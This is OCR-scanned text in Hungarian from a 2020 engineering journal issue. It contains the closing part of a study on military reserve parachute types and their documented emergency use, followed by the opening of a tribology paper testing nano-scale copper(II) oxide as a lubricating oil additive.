az un. ,tandemtokos” tartalék ejtéerny6t zaro tokfedelet, és — a rugds nyitderny6 miatt — a tartalék ejtéerny6
kupoldjanak - jelen esetben — hatranyos belobbanasat szinte lehetetlen megakadalyozni.)
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pillanataban a meglévé terep feletti magassag és a leveg6kdzeghez viszonyitott,
abszolut sebesség megfelel a tartalék ejtSerny6 biztonsagos nyilasi feltételeinek,*
mert ennek hidnyaban - az un. ,tandemtokos rendszernél" - a tartalék ejt6ernyd
gyakorlatilag ,feleslegessé" (alkalmazhatatlanna) valik 150-200 m AGL dobasi
magassag alatt.”!

Példak a lehetséges tartalék ,tronkovetel6k” eddigi ,éles” alkalmazasara

Egy tartalék ejt6ernyd megbizhatosagat semmi mas sem szemléltetheti jobban,
mint a tipus tényleges, képekkel dokumentalt alkalmazasanak kimenetele. Ennél
konkrétabb bizonyiték®? nehezen képzelhetd el. Ennek igazolasaként, a tanulmany
megirasat megel6z6 anyaggydjtés soran talalt alkalmazasok kozil harom konkrét
esetet valasztottam ki, bemutatva a tartalék ejt6ernyd — nem minden esetben szén-
dékos (!) — miikodésbe lépését.

A T-TIR tipusu tartalék ejtéernyd alkalmazasa

Amerikai szovetségeseink tdmeges személyi deszantjaik ejtéernydvel torténd kijut-
tatasahoz — eddigi (had)torténelmuk soran — minden alkalommal konvencionalis
kupolakialakitasu, nem iranyithaté f6 ejt6ernyé tipust alkalmaztak, illetve mind
a mai napig alkalmaznak. Elképzelésiik szerint ugyanis az aktualis dobasi zona folott
uralkodo szél igy egy irdnyba fogja elsodorni az iranyithatatlan kupola alatt eresz-
kedd légideszantosokat, és kisebb lesz az 6sszeakadasuk esélye, mintha iranyithato
ejtéernydjlkkel — a levegémozgas vektorahoz, és az ,abban utazé” bajtarsaikhoz
képest — még relativ elmozdulasra is képesek lennének.

A napjainkban alkalmazott amerikai légideszant f6 ejtSerny6 tipus: a T-11, toké-
letesen meg is felel(ne) ennek az elvarasnak, ha nem alakulnanak ki rendszeresen
balesetveszélyes helyzetek, éppen az ejtéernyé kupolakialakitasanak ,kdszonheten”.
Kifejezetten ezt a tipust alkalmazd tdmeges dobasokra jellemzé, hogy ejtéernyds
»Csuszik at" tarsa f6 ejtéernyé-kupoldja fliggdleges réseinek egyikén, mindkét kupola
,0sszeomlasat” okozva (21. abra).

%0 Az dn. ,tandemrendszeri” ejtSerny6knél a rosszul kinyilt féejternyd-kupola leoldasanak (és ezt kdvetéen a tar-
talékejtéernys-nyitasi folyamat meginditasanak) also hatéra altalanossagban 300 m AGL. (Ettél vald eltérést
esetlegesen a biztonsagi ejtSernydnyitd késziilék beallitasa hatarozhat csak meg.)

1 Eppen ez az oka, hogy — nyitasi rendszertd| fiiggetleniil - légcellas ejtéernydvel torténd ugras végrehajtasakor
a dobasi magassag minimalis értéke ritkan van 1000 m AGL alatt. Ez viszont éppen azért jelent(het) ugyancsak
nem elhanyagolhat6 problémat, mert az ellenségnek igy tobb esélye van ,levadaszni” a légcellds ejtSernyével
ereszkedd légideszantos katonat, mintha az kis magassagbol hagyomanyos — és kevésbé vagy egyaltalan nem
iranyithatd — ejtéernyével ugrana.

52 Tény, hogy az ejtéerny6s katona — a repiil6-hajozo kollégainkhoz hasonloan — ,vizualis alkat™: csak a sajat szemé-
nek hisz. Mindkét teriileten meglévé gyakorlati jartassagom birtokaban magam is ezt az elvet vallom.

Hadmérnok « 15. évfolyam (2020) 3. szam 67



68

Szaniszlé Zsolt: Uj személyi légideszant ejtSernyé tipus rendszerbe 4llitasa el6tt...

21. dbra

A felvétel pontosan azt a pillanatot abrézolja, amikor mindkét ejtéernyds szinte egy idében nyitja sajat
T-T1R tipusu tartalék ejtéernydjét, megmentve nemcsak a sajat, de — k6lcsénésen — bajtarsa életét is.
A kép egyben az un. , extractor” sziikségességét is szépen szemlélteti: a tartalék ejtéernyd kupoléja joval
dinamikusabban keriil ki a [égaramlatba, mint amit a két ugro kézos ejtéernyds siillyedési sebessége
,6nmagaban” biztosithatna.

Forras: US Army paratroopers with the 173rd Airborne Brigade execute emergency procedures in response to
a T-11 parachute system malfunction. Elérhetd: www.dvidshub.net/image/1500798/us-army-paratroopers-
with-173rd-airborne-brigade-execute-emergency-procedures-response-t-11-parachute-system-malfunction
(A letoltes datuma: 2017. 11. 25.)

Lathatd, hogy a ,nyugati ejtéernyé-tervezési koncepcio” (a légideszantos katonara
kell rabizni a tartalék ejt6erny&je nyitasanak feladatat, de a kupola belobbandsanak
folyamatat technikai eszk6zokkel gyorsitani kell) gyors és jo megoldast kinal, ameny-
nyiben ,a kiilonleges helyzetbe kerdiilt” ejtéernyds felismeri a helyzetet, és azonnal
végrehajtja az ilyenkor egyediil megengedettet: a tartalék ejtéernyd nyitasat.>

3 Ezt el8segiti az amerikai légideszantos katonak ejtdernyds ugrasat megelézd eljarasrend, amelynek a szerzé is
résztvevéje lehetett 2015-ben az Aviano Air Base-en, a ,Warlord Rock-2015." gyakorlat soran. A kozvetlen ugras
elotti felkésziilésen az oktatdk a teljes ugrasi tevékenységet atismételtetik az ugrokkal, kiemelt hangsulyt fek-
tetve a tartalék ejtéerny8 muikddtetésére. (Az ilyen jelleg(i gyors ismeretfelujitas egy-masfél oran keresztiil tart,
de sziikséges is: az ,atlagos” amerikai légideszantos katona haromhavonta hajt végre bekotétt nyitasi rendszerti
ejt8ernyds ugrast, tobbnyire valamilyen hadgyakorlat keretében.)
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Tovabba az is eléfordulhat — mert volt mar rd eset —, hogy a T-11R tipusu tartalék
ejtéernyd kupolaja levegbbe jutasanak gyorsitasara alkalmazott un. ,extractor” (ld.
12. abra!) valik kellemetlenné az ejtéernyd vétlen nyitddasa esetén: az ejtéernyds-
nek esélye sincs meggatolni a tartalék ejt6ernyd kupolaszeletei kozé helyezett rugds
szerkezet kilok6dését (22. abra).

22. 4dbra

A T-T1R tipusu tartalék ejtGernyd vétlen nyilasanak kévetkezménye: az ejtGernydst — szo szerint
véve —egyszertien kirantja a gyorsan belobband kupola a szallito repiil6gép ajtajabdl és lathatd, hogy
az el6tte kiugrott bajtarsat is utolérte (1) a levegben. Mivel a dobasi sebesség kb. 130 knots (kb. 240

km/h), és két ejtéernyds gépelhagyasa kézétt 1s telik el, 50-60 m-es tavolségban kellene hogy legyenek
egymastol a levegbben, ha mindkét ejtéernydsnek ,csak” a f6 ejtéernydje [épett volna miik6désbe.
Forras: a szerz6 sajat ejtéerny6s fényképgyljteményébdl, eredete ismeretlen.

S bar alapigazsag, hogy — kifejezetten csakis konvencionalis légideszant ejt6erny6ben
gondolkodva — ,inkdbb két kinyilt kupola legyen a fejiink f6l6tt, mint egy sem”, tény-
ként kell elfogadni, hogy hasonlé szituacidban a , keleti ejtéernyStervezési koncepcid”
altal megalkotott tartalék ejt6ernyd — noha az is rendelkezik az ejt6erny6-kupola
leveg6aramlatba torténd gyorsabb kijuttatasat elésegits eszkozzel (13. abra) — nagyobb
megbizhatosagot nyujt. (Ehhez természetesen ugyancsak az sziikséges, hogy az ejt6-
ernyds felismerje a szituaciot, és azonnal cselekedjen: kezeivel kdnnyebben le tudja
fogni az egy adott irdnyba nyild tokfedeleket egy ilyen esetben, mint egy ,nyugati”
tartalék ejt6erny6nél.)
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A Z-6P tipusu tartalék ejt6ernyd alkalmazasa

A tomeges személyi ejternyds deszant alkalmazasa még napjainkban is az Orosz
Légideszant Csapatok m(iveleti teriiletre torténd kijuttatasi koncepciojanak egyik f6
eleme, emiatt ,a kék barettesek” is néha kénytelenek miikodtetni a tartalék ejtéer-
ny6jiket (23-26. abra).

23. 4bra 24. dbra

Nincs menekiilés. A két ejtéernyds itt mar ..., majd a magasabban lévé ugré nyitja
menthetetlentil dsszeakadt... a tartalék ejtSernydjét...

25. abra 26. dbra
...amelynek belobbantasat bonyolitja, hogy ...és a foldet érés pillanata. A tartalék ejtGernyd
a kupolaja részben a D-10 tipust 6 ejtéernyd (kupoléja legalul lathatd) igy is életeket
zsindrjai k6zé kertilt... mentett. Forras: a szerz6 sajat ejtéernyds

fényképgytijteményébdl, eredete ismeretlen
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A fenti képek is tanusitjak, hogy jol m(ikodik a , keleti ejtéernyStervezési koncepcid”
is, bar ebben az esetben az ejtéernyds ugréra nagyobb felelésség ,harul” a sajat élete
megmentése érdekében, de ezt a fajta technikai ,hatranyt” a magasabb képzettségi
szint képes kompenzalni.

Kovetkeztetések, javaslatok

Mivel a tartalék ejt6ernyd — és esetenként a vele komplex egészet alkotd biztonsagi ejtéer-
ny& nyitd berendezés — mar ténylegesen is az utolso esélyt jelenti egy sulyos, esetlegesen
halalos sértilés elkerilésének folyamataban, a mar sziikségessé valt alkalmazasainak koril-
meényeit kiiléndsen kiemelten kell vizsgélni, miel6tt az adott tipust az MH-ban rendszerbe
allitanank. A tartalék ejt6ernyé esetében hatvanyozottan igaznak kell elfogadnunk, hogy
érdemesebb ,mas karan tanulni”, mint , fejlinket homokba dugva” kivalasztani egy terméket,
majd a beszerzést kovetSen sajat magunknak megszerezni ugyanazokat a tapasztalatokat,
amelyekért mas nemzetek ejt6erny&sei esetlegesen a vériikkel fizettek meg.

Kilfoldrél beszerzett komplex személyi légideszant ejternyd rendszer esetében
az adott tipussal végrehajtandd ejtéernyds ugrasokkal kapcsolatos kiilfoldi szabalyzdk
,egy azegyben” torténd atvétele is hordozhat minimalis kockdzatot magaban. J6 példa
erre az MC-6, illetve a T-11 tipusu f6-, valamint a T-11R tipusu tartalék ejt6erny6bdl allé
rendszerek alkalmazasa esetében utobbi ,foldon hagyasanak” ,lehetésége”, amelyet
a bekdtott nyitasi rendszerl ejt6ernyés ugrasokra vonatkozé amerikai katonai ,bib-
lia” —vagyis a Static Line Parachuting Techniques and Training. Headquarters, Department
of the Army, 2018. — a 15-2. oldalan pontosan meghataroz.>* Fontos megjegyezni,
hogy kupolanyilasi rendellenesség esetében — tartalék ejtéernyd hidnyaban — viszont
alapvetden ekkor mar nincs lehet8ség a tulélésre, igy a tartalék ejtéernyé foldon
hagyasanak lehet&sége amerikai ejt6ernyds bajtarsainknak kizarolagosan haborus
koriilmények kozott engedélyezett.

A hagyomanyos légideszant ejt8erny6vel torténé ejtéernyds ugrasi feladat
végrehajtasanak biztonsagi kockazatai — az ejt8ernyds katona mindségi kiképzettsége
mellett — még tovabb csokkentheték a tartalék ejtéernydre szerelt biztonsagi nyitd
automatak alkalmazasaval.

Befejezés

Kijelenthetjlik, hogy a konvencionalis kialakitasu légideszant ejtéerny6 rendszer
csak egymashoz jol 6sszeparositott f6-, illetve tartalék ejt6erny6 megléte esetén
biztosithatja csak a tervezett, személyi ejtéernydvel torténd kijuttatas sikerességét.

A tartalék ejt6ernydre szerelt biztonsagi nyité automatakat tanulmanyom
negyedik részében mutatom be.

% Az adott szakirodalom csak merevszarnyu repiilégépekbdl végrehajtott ejtéernyds dobasoknal teszi ezt le-
hetévé. Tovabbi eliras ezzel kapcsolatosan még az is, hogy a dobasi sebesség — legalabb minimalisan — meg
kell, hogy haladja a 125 knots (kb. 231,5 ¥/h) értéket, illetve hogy a T-11 tipust ejtSerny6t C-130-asbdl
550 feet (167,64 m), C-17-esb6l 525 feet (160,02 m), mig az MC-6 tipusul ejtéerny6t — repiil6géptipus-megké-
tés nélkal (1) — 475 feet (144,78 m) minimalis dobasi magassagértékeket, amely paraméterek mar ténylegesen is
csak a féejtéernyd biztonsagos miikodéséhez elégségesek.
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Téth Almos David," Fodor Tamas?

Nanomeéret( réz(l1)-oxid
keramiarészecskékkel erdsitett
kendolaj triboldgiai vizsgalata

Tribological Investigation of Lubricant Strengthened
with Nano-Scale Cupric Oxide Ceramic Material

A mai korszer(i jarm(ivek kenését ellaté kenSanyagok terhelése valtozatos és relativ
magas. A kdrnyezetvédelmi és energiafelhasznélasi szabalyozasok megkovetelik
ajarmlvek és a benniik talalhat6 kenéanyagok fejlesztését, az alacsonyabb emisszio,
alacsonyabb fogyasztas és ritkabb karbantartas érdekében. A célok elérése érdekében
kiil6nb6z6 mérndki megoldasokat alkalmaznak (példaul feliileti bevonatok), és e meg-
oldasoknak minden esetben egymassal kompatibilisnek kell lenniiik. Jelen tanulmany
egy nanoméret(i réz(I1)-oxid (CuO) keramiaanyag kenéolaj-adalékként valo vizsgala-
tanak folyamatat és az eredményekbdl megallapithaté kovetkeztetéseket ismerteti.
A vizsgalatokat a gy6ri Széchenyi Istvan Egyetem, illetve a debreceni Atommagkutato
Intézet berendezéseivel végeztiik el. A tanulmany a,,Nemzetkoziesités, oktatoi, kutatoéi
és hallgatoi utanpotlas megteremtése, a tudas és technoldgiai transzfer fejlesztése,
mint azintelligens szakosodas eszkézei a Széchenyi Istvan Egyetemen” cimdi (azono-
sité szam: EFOP-3.6.1-16-2016-00017) projekt keretében késziilt.

Kulcsszavak: kenGolaj-adalék, triboldgia, réz(11)-oxid, tribométer

The lubrication of the modern vehicles has to bear diverse and relative high loads.
The environmental protection and the energy consumption regulations require con-
tinuous development of vehicles and their lubricating media to reach lower emis-
sion and fuel consumption with longer component lifetime. To reach these goals,
engineers invented different technical solutions (e.g. surface coating with non-me-
tallic materials) and these solutions need to be compatible. This article presents
the investigation method and the test results of a nano-scale cupric oxide (CuO)
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material. The experiments were carried out with the equipment at the Széchenyi
Istvan University in Gy6r and at the Institute of Nuclear Research in Debrecen. This
research was supported by the EFOP-3.6.1-16-2016-00017 Internationalisation,
initiatives to establish a new source for researchers and graduates, development of
knowledge and technological transfer as instruments of intelligent specialisations
at Széchenyi University.

Keywords: lubrication additive, tribology, cupric oxide, tribometer

Bevezetés

A mai korszer(i jarmdipari hajtaslancok jelentds fejlesztési folyamatok végeredmeényei.
E fejlesztések elsédlegesen a kornyezetvédelem és az energiafelhasznalas hatékony-
sagat, illetve az alkatrészek élettartamanak novelését célozzak meg. A jarmihaj-
tas-fejleszté mérnokok kilonbdz6 mérnoki megoldasokat fejlesztettek ki az elmult
években a fent emlitett célok elérése érdekében: hatékony turbofeltoltés, felileti
bevonatok, alacsony viszkozitasu olajok stb. Az egyes fejlesztések eredményeinek
Osszesitése és applikalasa tovabbi mérndki feladatokat igényel. Csak és kizardlag egy
olyan jarm( képes hatékonyan tizemelni, amelynek egyes részegységei megfeleld
0sszhangban vannak egymassal.

A jarmUlvek m(ikddése sajnalatos médon mindenképpen veszteséges, amely
veszteségeket a tankolt és felhasznalt tlizel6anyagbol kell fedezni. E veszteségek
a vilag energiafelhasznalasahoz képest jelentds aranyban jelentkeznek: a vilag elséd-
leges energiafelhasznalasanak egyharmada veszteséggé alakul at. Ezenfelil a mozgd
alkatrészeken keletkez6 kopas felelés a mozgd alkatrészek karosodasanak 60%-aért,
mig a mozgo berendezéseknél tapasztalhatoé karosodas tobb mint 50%-aért a kenési
elégtelenség nevezheté meg mint felelds.?

A mozgé alkatrészek kenésére hasznalt ken6olajok és kendzsirok a jelenlegi fej-
lesztések egyik f&§ iranyvonala, hiszen egy rosszul megvalasztott kenéanyag nemcsak
megndvekedett energiafogyasztast, hanem gyakoribb alkatrészcserét is eredményez.
A ken6anyagok mar egy jelents ideje nemcsak asvanyi vagy szintetikus olajbél allnak,
hanem olyan specialis adalékokat is felhasznalnak, amelyek a végtermék egyes tulaj-
donsagait (példaul viszkozitas, tribologiai tulajdonsagok) a kivant iranyba modositjak.
Az adalékok, m(ikodési mechanizmusuk miatt nagyon érzékenyek a veliik érintkezésbe
lép6 alkatrészek anyagminGségére: a jelenleg is hasznalt aktiv, surlodasmaodositod
és kopascsokkentd adalékok jelentds része polaritaskiilonbség alapjan tapad a surlodo
fellletekhez, igy csokkentve a mozgas soran fellépé surlodasi veszteségeket.

A triboldgiai rendszerek surlodasi és kenési allapotanak meghatarozasahoz elen-
gedhetetlen a Stribeck-gdrbe ismerete, amelyet az 1. dbra szemléltet. A Stribeck-gorbe
megmutatja az adott rendszer surlddasi veszteségeit a hasznalt kendanyag viszkozitasa,
a surlddé alkatrészek relativ sebessége és a tribologiai terhelés fliggvényében. A diag-
ramrol leolvashatok a rendszer kiilonbozé tizemallapotaihoz tartozo veszteségek: szaraz
allapot, hatarkenés, vegyes kenés és folyadékkenési allapot. A diagram kiegészithet6

> Wei Wang — Guoxin Xie - Jianbin Luo: Black phosphorus as a new lubricant. Friction, 6. (2018), 1. 116-142.
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a rendszerhez tartozo kenéfilmvastagsaggal, illetve a kopas értékeivel is. Amennyiben
a rendszeriinkben surlodas- és kopasmaodositd (EP és AW) adalékkal erésitett kendolaj
talalhatd, a veszteségek a rendszer legkritikusabb allapotaiban csdkkentheték az adalékok
mUikodésének kdszonhetben: az adalékok képesek hozzatapadni a surléddé felilethez,
megakadalyozva a felliletek kozvetlen érintkezését. Amennyiben a jarmdipar mai
kenGolaj-iranyzatat, az alacsony viszkozitasu olajok alkalmazasat is figyelembe vessziik,
az lizemeld rendszer hatarkenés-allapota kitolodik, amely azt eredményezi, hogy a rend-
szer gyakrabban fog hatarkenés-allapotban tizemelni még a tervezett kenési allapotban
is. Az ilyen esetekben a kendolaj-adalékok szerepe még inkabb el&térbe keriil, hiszen
ezek az adalékok tudjak ilyen esetekben a rendszert megdvni a végleges karosodastol.

Kenésallapotok, surlédas és kopas dsszefliggései
Hatéarkenés Vegyes kenés Folyadék kenés

Nincs adalék

Surlédasi egyitthatd

Kendolaj viszkozitas x Sebesség
| Terhelés

Nincs kendfilm

Kenéfilmvastagsag

Nincs adalék
Viszkozus és hatar-

kenéfilmelvalasztas

Kopas

Viszkdzus
elvélasztas

Start, stop, irdnyvaltas,
+— (itésszer( igénybevétel, L Magas sebess¢g ———————————»
alacsonv és kozepes sebesséa

1. 4bra
Surlédasi és kenési éllapotok Stribeck-gérbén abrazolva (szerzéi médositassal)

Forras: Drew Troyer: A Balanced Approach to Lubrication Effectiveness. Machinery Lubrication, (2010), 11.
Elérhets: www.machinerylubrication.com/Read/27725/a-balanced-approach-to-lubrication-effectiveness-
(A letoltés datuma: 2020. 09. 24.)
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Az egyik lehetséges, jovében haszndlhaté adalékok lehetnek a nanoméretii
részecskék. E részecskék anyagosszetétele nagyon valtozatos lehet, altalaban valamilyen
fémes vagy fémkompozitos anyagbol késziilnek. Méretiiket tekintve a nanorészecskék
1és100 nanométer kozotti tartomanyban helyezkednek el. A nanorészecskék mérete
és a surlddo alkatrész feliileti érdessége kozott szoros korrelacio figyelheté meg: csak
olyan méretl nanorészecskék képesek csokkenteni a surlédast és/vagy a kopast,
amelyek atlagos részecskeatmérdje kisebb, mint a kapcsolédé surlddo feliilet atla-
gos felileti érdességi mérészama. Ez azzal magyarazhato, hogy egy nagyobb méret(i
szemcse nem tud bekertilni az érdességi arkokba, és igy inkabb a negativ, harmadik
test abrazidskopas-jelenséget fogja okozni.*

A nanorészecskéket miikddési mechanizmusaik alapjan négy kiilonbdz6 csoportba
lehet besorolni,” amelyet grafikusan a 2. abra ismertet: a) Gordilé (vagy golyoscsapagy)
mechanizmus: a részecskék nanoméretli golydscsapagyként viselkedve a csuszd
surlodast gordulé sarlodassa alakitjak at; b) Feltolté mechanizmus: a részecskék
0sszegyllnek a surlddé feliilet érdességi arkaiban, simabb surlddé feliiletet biztositva
a tribologiai rendszer szamara; c) Polirozdé mechanizmus: a nanorészecskék képesek
polirozni a surlédé feliileteken talalhato érdességi csticsokat, ezaltal biztositva simabb
kontaktfeliiletet; d) Véd6rétegképz6 mechanizmus: a nanorészecskék hozzatapadnak
a surlédo feliilethez, és ott védik a rendszert a fém—fém érintkezéstél.

A DN O
00,099 yipeigeted
(a) (b)

/"\/‘/\/\/\/\/\M/\A/\/u\
° o * e ® @ °
*
2,
(c) (d)
2. abra

Létezd miikédési mechanizmusok a nanoméretti részecskék triboldgiai teljesitményre gyakorolt
hatasainak javitasara, a) gérdiilé mechanizmus, b) felt6lté mechanizmus, c) polirozé mechanizmus, d)
véddrétegképzé mechanizmus.

Forras: Wani Khalid Shafi — Ankush Raina — Mir Irfan Ul Haq: Friction and wear characteristics of vegetable oils
using nanoparticles for sustainable lubrication. Tribology — Materials, Surfaces & Interfaces, 12. (2018), 1. 27-43.

Laura Pefia-Paras et alii: Effects of substrate surface roughness and nano/micro particle additive size on friction
and wear in lubricated sliding. Tribology International, 119. (2018), 88-98.

5 Zhenyu Jason Zhang — Dorin Simionesie — Carl Schaschke: Graphite and Hybrid Nanomaterials as Lubricant
Additives. Lubricants, 2. (2014), 2. 44-65.
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Természetesen a nanoméret(i keramiaszemcsék rendelkeznek nem elhanyagolhaté
negativ tulajdonsagokkal is, amelyeket mindenképpen figyelembe kell venni egy
nem képes megfelel6 triboldgiai javulast eredményezni, azonban a tul magas koncent-
racio novelheti a 3-test abrazids kopas lehet&ségét és gyakorisagat. Tovabbi negativ
tulajdonsagként lehet emliteni az esetleges koltségeket, illetve azt, hogy a részecskék
letilepedését meg kell akadalyozni, kiilonben az adalék inhomogén koncentracioban
fog megjelenni az olajban, ez pedig nem kiszamithaté olajtulajdonsagokat eredmé-
nyez. Tovabbi kérddjelek minden nanoméret(i részecske esetén az, hogy az adalékok
hatasai a kipufogogaz utékezel6 rendszerekre még nem ismert.

Vizsgalati moédszer

Jelen tanulmany egy nanoméret(i réz(I1)-oxid keramia tulajdonsagait vizsgalja. A vizs-
galt nanokeramia egy CAS 1317-38-0 szamu, 30-50 nm kozotti részecskeméretd,
por formaju keramia. A vizsgalt keramia ilyen formaban kereskedelmi forgalomban
beszerezhetd. Ezen anyagmindség(i nanokeramia alacsonyabb keménységgel (2000-
2500 MPa) rendelkezik, 6sszehasonlitva mas nanokeramia-anyagokkal. A vizsga-
latokhoz Group IlI tipusu, 4cSt viszkozitasu bazisolajat alkalmaztunk, mivel ebbél
a bazisolajbdl elkészithetd egy, szériagyartasban is alkalmazott, alacsony viszkozitasu
motorolaj. Az adalékolatlan bazisolaj elénye, hogy abban nem taldlhatok olyan ada-
lékok, amelyek esetlegesen hatassal lehetnek a vizsgalt kisérleti adalékra, azonban
a homogenizald, feluletaktiv adalékok hidnya miatt kiilonleges olajminta-elékészitési
folyamatot igényelnek.

A vizsgalatokhoz hasznalt olajmintakat a megfeleld részecskekoncentraciékban
a laboratériumunkban készitettiik el6, egy korabban meghatarozott keverési médszer
segitségével: a megfelel§ tomegszazalék-koncentracio beallitasa utan egy 5 perces
rovid magneses keverési lépcsé kovetkezik, amellyel a nagyobb részecske-agglomera-
tumok felszakithatok. Kovetkezé lépésben egy 30 perces, 50 °C-os ultrahangos
homogenizalason esik at az olajminta, amely a kisebb méret(i agglomeratumokat is
fellazitja, és egy homogén olajrészecske-keveréket eredményez. Ezutdn az olajminta
visszakeriil a magneses keverébe és keverési allapotban marad egészen a vizsgalati
berendezésbe vald betoltéséig.

A vizsgalati olajmintakat egy Optimol SRV5 tipusu vizsgalati berendezéssel tesz-
teltlk (3. abra). A berendezés el6nyei kozé tartozik a pontossag és reprodukalhatdsag,
a berendezés rendelkezik kiilonb6z8 1SO-szabvanyos vizsgalati mddszerrel, ezek
kozul az egyik az 1SO 19291:2016 (ISO 19291:2016 2016), amely készre formulazott
ken&olajok tribologiai tulajdonsagainak vizsgalataval foglalkozik.

A vizsgalatokhoz a szabvanyban leirt probatest-parositast hasznaltunk:

24 mm-es tarcsa: 100Cr6 anyagmindség, 62HRC keménység, 0,047um feliileti
érdesség és leppeléssel megmunkalt futofeliilet; 10 mm-es csapagygolyd: 100Cr6
anyagmindség, 61,5HRC keménység, 0,020um feliileti érdesség és polirozassal
megmunkalt futdfeliilet.
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3. 4bra

A surlédésos vizsgalatokhoz hasznalt berendezés (Optimol SRV5) elvi abréaja (A), illetve a hasznalt
tribolégiai rendszer modellje (B).

Forras: ISO 19291:2016. Lubricants — Determination of tribological quantities for oils and greases — Tribological test
in the translatory oscillation apparatus. Vernier, Genova, 2016.

Vizsgélati mddszerként egy egyedi fejlesztési mérési folyamatot hasznaltunk, amely-
nek alapjat az ISO-szabvanyositott kendolaj-6sszehasonlité tribologiai vizsgalat adta.®
A vizsgalat egy roviditett, azonban tulterhelt tribolégiai allapotot szimulal, amellyel
kovetkeztetni lehet a kendolajminték triboldgiai tulajdonsagaira. A vizsgalat részletes
paraméterei az 1. tablazatban lathatok.

1. tablazat
A surlédasos vizsgalatok sordn hasznalt vizsgalati paraméterek.
Forras: a szerzd osszeallitasa

Lépcsé |Loket |Frekvencia |Terhelés |H6mérséklet | Olaj- Olaj- 1d6
sebesség | hémérséklet

1. Tmm |50 Hz 50N 100 °C 225 ml/h [100 °C 30s

2. Tmm 50 Hz 100 N 100 °C 225 ml/h |100 °C 2h

A vizsgalatok eredményéiil a probatestek felliletén keletkezett kopaskép szolgal, amely
a tovabbi mikroszkopos vizsgalatok alapja. A prébatesteken talalhaté kopasképeket
digitalis és pasztazo elektronmikroszkoppal vizsgaltuk meg. A digitalis mikroszképos
vizsgalatok célja a keletkezett kopas szamszer(sitése (mivel a tribométer erre nem
alkalmas), mig a pasztazé elektronmikroszkdpos felvételekkel az adalékok miikodési
mechanizmusaira utald jeleket, illetve a feliileten talalhaté réz jelenlétét kerestiik.

6 Almos Dévid Téth et alii: Methodenentwicklung zur Einstufung von Motorélen anhand tribologischer Eigenschaf-
ten. In 58. Tribologie-Fachtagung 2017, Reibung, Schmierung und Verschleif3, Band 2. Géttingen, P8/1-P8/11.
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Az 6sszehasonlitashoz hasznalt értékek

A vizsgalatok soran az SRV5 berendezés altal masodpercenként rogzitett strlddasi-
egyltthato-értékek (az alternald mozgas soran mért mozgas irdnyaba hatd strlddasi
erd és a mozgasra meréleges normalerd hanyadosa) jelentették az elsédleges 6ssze-
hasonlitasi alapot. A berendezés kétféle surlodasi egyiitthatdt képes rogziteni: egy
COF-el jelolt értéket, amely egy loketen belil a maximalis értékeket mutatja, illetve
egy FAl-vel jeldlt értéket, amely egy teljes lokethosszra vetitett atlagos surléddasi-
egyltthato-értéket jelol. A COF-érték, az alternalé mozgas jellegzetessége miatt
mindig a l6ket végpontjainal fellépd surlédast mutatjak meg, tehat a hatarréteg
surlodasi allapotra mutat 6sszehasonlitasi értéket, mig az FAI-érték egy teljesen
atlagos értéket mutat, amely inkabb a kevert és folyadéksurlodasi allapotra mutat.
A két surlédasi egyutthatd kozotti eltérést a 4. abra ismerteti.
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4. 3bra
Avizsgalati berendezés altal régzitett surlddasi mérdszamok szérmaztatasa.
Forras: a szerz6 osszeallitasa

A masodpercenként rogzitett surlédasiegyitthato-értékek kilonbodzé elemzéseket
tesznek lehet6vé. A 5. abra egy mérés soran rogzitett COF- és FAI-értékeket mutatja.
Mindkét gorbén megfigyelhetd a vizsgalatok elején egy folyamatosan csokkend ten-
dencia, amely egyértelm(i jele az egymassal kapcsolatban évé feliiletek bejaratodasi
folyamatanak, a feliileti érdességi arkok gyors lekopasanak, illetve a pontszer( érintkezési
forma miatti folyamatos kontaktfeliilet-névekedésnek. A kiilénbdzé koncentraciok
6sszehasonlitdsahoz a mindkét gorbe stabil, vizszintes részébél vettiink ki surloda-
siegyutthato-értékeket, amelyeket a lentebb ismertetett eredménykiértékelésben
hasznaltunk fel.

Hadmérnaok ¢ 15. évfolyam (2020) 3. szdm 81



- T6th Almos David, Fodor Taméas: Nanoméret(i réz(1l)-oxid keramiarészecskékkel erésitett kendolaj. .

82

0.35 | |
e COF-értékek
030 — FAl-értékek
L 025
Ne)
po)
@
oy
=
p }
>
()]
g o
‘©
@
©
0
‘5 0.10
3o
0.05
0.00 . ; ‘ ; ‘ . ' .
0 1000 2000 3000 4000 5000 6000 7000 8000

Vizsgalati id6 [s]

5. 4bra
A kiilonbézd surlédasi értékek idébeli lefutdsa a vizsgalat soran.
Forras: a szerz6 osszeallitasa

A tribométeres vizsgalatok utan elvégzett digitalis mikroszkopos elemzésekkel meg
lehet allapitani a kopaskép f6bb paramétereit és jellemzdit. A 6. dbra egy kivalasztott
mérés kopasképét mutatja a golyo és a tarcsa probatesten. A képekrél megallapithatdk
a kopaskép befoglalé méretei, Ugy, mint a golydatméré mozgasiranyhoz viszonyitott
parhuzamos és meréleges irdnyban, kopasszélesség és kopashosszusag a tarcsa pro-
batesten. Ezen értékek jé 6sszehasonlitasi alapként szolgalnak. A digitalmikroszképos
felvételek ezenkivill megmutathatjak a kopaskép legfontosabb jellegeit, kopasfajtajat,
kopasi mechanizmusait, az esetleges karosodasi folyamatokat.

6. abra
Avizsgalati probatesteken keletkezett kopasrol késziilt digitalmikroszkdpos felvétel, 200x-os nagyitdssal.
Forras: a szerz6 sszeallitasa
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Eredmények és diszkusszié

A kendolajmintdk 6 kiilénboz6 rézoxid-koncentracioban lettek elkészitve, 0,1 és 0,6
tomegszazalékos koncentracioban. Minden valtozattal legalabb harom vizsgalatot
végerztiink egy ugyanolyan vizsgalati program hasznalatdval, a megfelel§ statisztikai
kiértékelhet&ség érdekében. A 7. abra mutatja a surlédasos vizsgalatok és a digitalis
mikroszképos mérések eredményeinek dsszefoglalasat. A vizsgalatokhoz hasznalt refe-
renciamérés egy adalékolatlan G3-as bazisolaj, 4cSt kinematikai viszkozitas értékkel.
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7. abra
A mért surlédasi egytitthatd és kopdsadatok dsszehasonlitasa.
Forras: a szerz4 osszeallitasa

A kisérletek eredményei azt mutatjak, hogy a réz(ll)-oxid nanokeramia egyes kon-
centraciokban képes csokkenteni a rendszer triboldgiai veszteségeit, tehat a surlodasi
veszteségeket, illetve a probatesteken keletkezé kopast. A 7. dbra egyértelm(en
mutatja, hogy az adalék mind a surlédasi veszteségeket, mind a kopast 15-15%-kal
csokkentette. E maximalis csokkenés a 0,5 tomegszazalékos adalékkoncentracional
figyelhetd meg, igy ez a koncentracié nevezheté optimalisnak. A tébbi, vizsgalt kon-
centracid esetén kiilonboz6 mértéki valtozasok figyelheték meg, amely bizonyiték
arra, hogy a kendolajban talalhaté adalékok tulajdonsagai er6sen fliggenek az olajok
